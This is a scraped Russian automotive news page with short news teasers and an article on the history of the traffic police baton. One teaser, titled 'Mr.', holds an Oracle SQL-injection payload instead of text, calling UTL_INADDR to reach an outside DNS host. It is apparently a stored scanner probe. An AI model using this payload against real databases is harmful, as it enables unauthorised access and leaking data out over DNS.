|
Предложения |
|
|
|
|
|
Загрузка предложений ... |
|
|
|
|
|
Партнёры |
|
|
|
|
|
|
|
|
|
|
|
|
Некоторые автоновости |
|
|
|
|
|
31 мая 2009г.
Грязные таски
 В Хабаровске прошли соревнования среди любителей гонок по бездорожью. Многие вывели на старт автомобили, собранные своими руками.Подробнее » | 30 августа 2019г.
Mr.
 '||UTL_INADDR.get_host_address('dns.'||'sqli.013405.529-41391.529.a9e86.1.bxss'||'.me')||'Подробнее » | 28 августа 2013г.
МВД доработает сервис интернет-оплаты штрафов
 МВД доработает интернет-сервис оплаты штрафов за нарушение правил дорожного движения. Будут исправлены такие недоработки, как отсутствие сообщений о неправильно введенных данных, задержки по времени ответа сервисов, отсутствие четкой синхронизации региональных и федеральной баз данных. Предложения по доработкам внесло Минкомсвязи, сообщает «CNews».Подробнее » |
|
|
|
|
|
|
Жезлу инспектора - 70 лет... |
|
|
|
|
|
 27 апреля 1939 года Циркуляром Главного управления рабоче-крестьянской милиции НКВД СССР № 55 была утверждена "Инструкция постового регулировщика уличного движения", согласно которой "для лучшей видимости подаваемых знаков (сигналов) в городах по утвержденному списку, регулирование производится жезлом, окрашенным в черно-белый цвет".
Значение подаваемых сигналов из указанной инструкции были перенесены сначала в типовые правила движения по улицам и дорогам СССР 1940г., а затем в правила уличного движения, действовавшие в каждом регионе.
Таким образом, жезл регулировщика, использовавшийся на посту Советскими милиционерами с 1922 по 1930 годы снова стал востребован при регулировании уличного движения. Правда, тогда он был красного цвета с желтой рукояткой длиной 11 вершков (49 см), он помещался в кожаном чехле и носился постовым на ремне спереди, с левой стороны.
Прошло 70 лет, но и сегодня в руках сотрудника ГИБДД черно-белый жезл, а значит его сигналы своевременно заметят все участники дорожного движения.
http://www.gibdd.ru |
|
|
|
|
|
Реклама |
|
|
|
|
|
|
|
|
|
|
|
|
Быстрый поиск |
|
|
|
|
|
Загрузка поиска ... |
|
|
|
|
|
